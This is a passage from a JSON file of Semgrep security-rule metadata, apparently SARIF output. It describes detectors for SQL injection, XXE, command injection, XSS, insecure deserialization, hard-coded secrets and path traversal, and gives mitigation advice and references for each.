terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.peewee-django.peewee-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.django.db.peewee-django.peewee-django","id":"python.django.db.peewee-django.peewee-django","name":"python.django.db.peewee-django.peewee-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.peewee-django.peewee-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","id":"java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","name":"java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","id":"python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","name":"python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template."},"help":{"markdown":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr)\n - [https://golang.org/pkg/html/template/#HTMLAttr](https://golang.org/pkg/html/template/#HTMLAttr)\n","text":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","id":"go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","name":"go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","id":"python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","name":"python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping"},"help":{"markdown":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug)\n - [https://twitter.com/Mauricio_0218/status/1490082073096462340](https://twitter.com/Mauricio_0218/status/1490082073096462340)\n - [https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1](https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1)\n","text":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping"},"helpUri":"https://semgrep.dev/r/solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","id":"solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","name":"solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-json-django.tainted-json-django)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-json-django.tainted-json-django","id":"python.django.deserialization.tainted-json-django.tainted-json-django","name":"python.django.deserialization.tainted-json-django.tainted-json-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-json-django.tainted-json-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on."},"help":{"markdown":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#controlling-autoescaping](https://flask.palletsprojects.com/en/1.1.x/templating/#controlling-autoescaping)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup](https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup)\n","text":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","id":"python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","name":"python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"help":{"markdown":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods)\n - [https://docs.angularjs.org/api/ng/function/angular.element](https://docs.angularjs.org/api/ng/function/angular.element)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","id":"javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","name":"javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure CloudTrail logs are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","id":"terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","name":"terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudtrail-encrypted-with-cmk.aws-cloudtrail-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read."},"help":{"markdown":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions](https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions)\n","text":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","id":"cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","name":"cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"help":{"markdown":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into an HTML response. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-response.tainted-html-response","id":"javascript.aws-lambda.security.tainted-html-response.tainted-html-response","name":"javascript.aws-lambda.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","id":"ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","name":"ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.pg.ruby-pg-hardcoded-connection-string.ruby-pg-hardcoded-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Generic API Key detected"},"help":{"markdown":"Generic API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-generic-api-key.detected-generic-api-key)\n - [https://github.com/dxa4481/truffleHogRegexes/blob/master/truffleHogRegexes/regexes.json](https://github.com/dxa4481/truffleHogRegexes/blob/master/truffleHogRegexes/regexes.json)\n","text":"Generic API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-generic-api-key.detected-generic-api-key","id":"generic.secrets.security.detected-generic-api-key.detected-generic-api-key","name":"generic.secrets.security.detected-generic-api-key.detected-generic-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-generic-api-key.detected-generic-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"help":{"markdown":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.dangerous-template-string.dangerous-template-string)\n - [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html)\n - [https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)\n","text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.dangerous-template-string.dangerous-template-string","id":"python.flask.security.dangerous-template-string.dangerous-template-string","name":"python.flask.security.dangerous-template-string.dangerous-template-string","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.dangerous-template-string.dangerous-template-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-stdlib-fastapi.tainted-path-traversal-stdlib-fastapi)\n - [https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://fastapi.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths](https://fastapi.tiangolo.com/tutorial/path-params/#path-parameters-containing-paths)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - 